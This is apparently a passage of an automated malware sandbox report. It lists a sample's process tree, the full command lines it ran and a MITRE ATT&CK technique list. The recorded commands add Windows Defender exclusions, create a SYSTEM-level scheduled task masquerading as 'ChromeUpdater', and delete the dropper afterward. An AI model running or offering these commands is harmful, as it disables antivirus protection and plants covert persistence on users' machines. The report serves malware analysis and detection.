  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#gdqir#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'ChromeUpdater' /tr '''C:\Program Files\Google\Chrome\ChromeUpdater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\ChromeUpdater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ChromeUpdater' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:628
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn ChromeUpdater /tr "'C:\Program Files\Google\Chrome\ChromeUpdater.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:788
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "ChromeUpdater"
  2⤵
  PID:1900
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Windows\SoftwareDistribution\Download\IJKwvlweCTVOlzLhQRZpkMjAxiYgKM.exe"
  2⤵
  PID:1940
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#gdqir#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'ChromeUpdater' /tr '''C:\Program Files\Google\Chrome\ChromeUpdater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\ChromeUpdater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ChromeUpdater' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3000
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn ChromeUpdater /tr "'C:\Program Files\Google\Chrome\ChromeUpdater.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2072
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:604
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:888

C:\Windows\system32\taskeng.exe
taskeng.exe {C4DE7895-53AF-4F8A-84C6-8DBB8C9EACF2} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
PID:820
- C:\Program Files\Google\Chrome\ChromeUpdater.exe
  "C:\Program Files\Google\Chrome\ChromeUpdater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion